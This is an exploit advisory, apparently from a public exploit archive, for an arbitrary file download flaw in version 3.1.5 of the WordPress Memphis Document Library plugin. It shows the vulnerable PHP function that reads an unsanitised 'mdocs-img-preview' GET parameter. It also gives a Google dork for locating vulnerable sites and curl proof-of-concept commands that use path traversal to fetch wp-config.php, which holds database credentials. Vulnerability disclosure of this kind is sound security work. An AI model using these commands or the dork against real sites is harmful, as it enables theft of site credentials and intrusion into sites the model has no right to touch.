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WordPress Memphis Document Library 3.1.5 Arbitrary File Download

WordPress Memphis Document Library 3.1.5 Arbitrary File Download
Posted Mar 23, 2016
Authored by Felipe Molina

WordPress Memphis Document Library plugin version 3.1.5 suffers from an arbitrary file download vulnerability.

tags | exploit, arbitrary
MD5 | 38107d7b0cf9371a072e0aa82255636b

WordPress Memphis Document Library 3.1.5 Arbitrary File Download

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# Exploit Title: Arbitrary file download in Memphis Document Library 3.1.5
# Google Dork: inurl:"mdocs-posts" -site:wordpress.org
# Date: 22/03/2016
# Exploit Author: Felipe Molina (@felmoltor)
# Vendor Homepage: https://wordpress.org
# Software Link: https://downloads.wordpress.org/plugin/memphis-documents-library.3.1.5.zip
# Version: 3.1.5 (Vulnerable from 2.3 to 3.1.5, fixed in 3.1.6)
# Tested on: Ubuntu 12.04, Wordpress 4.4.2.
# CVE : N/A
# Vulnerable file: memphis-documents-library/mdocs-downloads.php
# Vulnerable function: mdocs_img_preview()
# Vulnerable GET parameter: Injectable 'mdocs-img-preview'
# Vulnerable line: 90 to 93
# Vulnerable code:

87 function mdocs_img_preview() {
88 require_once(ABSPATH . 'wp-includes/pluggable.php');
89 $upload_dir = wp_upload_dir();
90 $image = $upload_dir['basedir'].MDOCS_DIR.$_GET['mdocs-img-preview'];
91 $content = file_get_contents($image);
92 header('Content-Type: image/jpeg');
93 echo $content; exit();
94 }

# POC:

curl http://example.site.com/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php

or if the plugin is not installed in the root folder of wordpress, for
example in the folder "mdocs-posts":

curl http://example.site.com/mdocs-posts/?mdocs-img-preview=../../../wp-config.php
-o example-wp-config.php


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